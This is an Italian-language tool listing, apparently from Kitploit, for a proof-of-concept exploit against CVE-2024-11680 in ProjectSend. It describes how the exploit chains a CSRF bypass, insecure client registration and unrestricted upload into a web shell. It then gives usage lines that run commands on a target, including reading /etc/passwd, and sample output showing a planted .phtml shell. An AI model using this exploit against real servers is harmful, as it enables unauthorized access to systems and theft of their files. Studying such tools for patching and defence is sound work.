CVE-2024-11680 — Questo repository contiene un exploit proof-of-concept (PoC) per CVE-2024-11680, una vulnerabilità critica in ProjectSend r1605 e versioni precedenti. L'exploit è mirato a un'autenticazione errata a causa di problemi con impostazioni dei privilegi errate e injection di comandi. | Kitploit

Exploit ProjectSend CVE-2024-11680

Questo è un exploit proof-of-concept per CVE-2024-11680, una vulnerabilità di modifica della configurazione non autenticata e upload di web shell in ProjectSend.

Descrizione

L'exploit sfrutta molteplici vulnerabilità in ProjectSend:

Bypass del token CSRF che consente modifiche alla configurazione
Impostazioni di registrazione client non sicure
Upload di file senza restrizioni che porta all'esecuzione di codice remoto

Requisiti

Python 3.x
Pacchetti Python richiesti:
```
pip install requests colorama
```

Utilizzo

python3 exploit.py -u <TARGET_URL> -c <COMMAND>

Argomenti

-u, --url: URL di destinazione (es., )

# Get Python version
python3 exploit.py -u http://target.com/projectsend -c "python3 -V"

# List directory contents
python3 exploit.py -u http://target.com/projectsend -c "ls -la"

# Get system information
python3 exploit.py -u http://target.com/projectsend -c "uname -a"

# Read passwd file
python3 exploit.py -u http://target.com/projectsend -c "cat /etc/passwd"

[+] Target is vulnerable
[+] Insecure options enabled
[+] User registered successfully.
[+] New username: NoDLQWYF
[+] New password: X02A3g9LuN4S
[+] File uploaded: kLoISqdA.phtml
[+] File accessible at: http://target.com/projectsend/upload/files/1774958997-3b58e110c289baddfd8a6d1d5f34d96e77009fdc-kLoISqdA.phtml
[+] Command Output:
Python 3.9.2

CVE-2024-11680

Più Popolari

Esempi

Come funziona

Caratteristiche

Avviso legale

Riferimenti

Output di esempio